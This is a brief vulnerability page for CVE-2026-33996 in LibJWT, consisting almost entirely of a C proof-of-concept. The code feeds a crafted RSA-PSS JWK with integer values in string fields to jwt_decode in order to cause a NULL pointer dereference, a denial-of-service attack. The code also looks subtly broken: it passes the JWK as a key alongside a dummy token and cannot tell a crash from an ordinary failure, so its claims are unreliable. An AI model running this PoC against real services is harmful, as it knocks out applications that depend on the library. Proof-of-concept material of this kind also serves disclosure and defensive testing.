CVE-2026-33996 LibJWT空指针拒绝服务漏洞

#include <stdio.h> #include <jwt.h> // PoC for CVE-2026-33996: LibJWT RSA-PSS JWK NULL Pointer Dereference // This code demonstrates parsing a JWK with integers instead of strings. int main() { // Malicious JWK with integers in string fields (n, p, q, etc.) const char *malicious_jwk = "{" "\"kty\": \"RSA\"," "\"alg\": \"PS256\"," "\"n\": 123456," // Integer instead of string "\"e\": \"AQAB\"," "\"p\": 123456," // Integer instead of string "\"q\": 123456," // Integer instead of string "\"dp\": 123456," "\"dq\": 123456," "\"qi\": 123456" "}"; printf("[*] Parsing malicious JWK...\n"); jwt_t *jwt = NULL; // Attempt to import the JWK which triggers the vulnerability int ret = jwt_decode(&jwt, "dummy.payload", (unsigned char*)malicious_jwk, 0); if (ret != 0 || jwt == NULL) { printf("[-] Exploit failed or crash occurred (NULL dereference).\n"); } else { printf("[+] Parsing succeeded (vulnerable behavior might vary).\n"); jwt_free(jwt); } return 0; }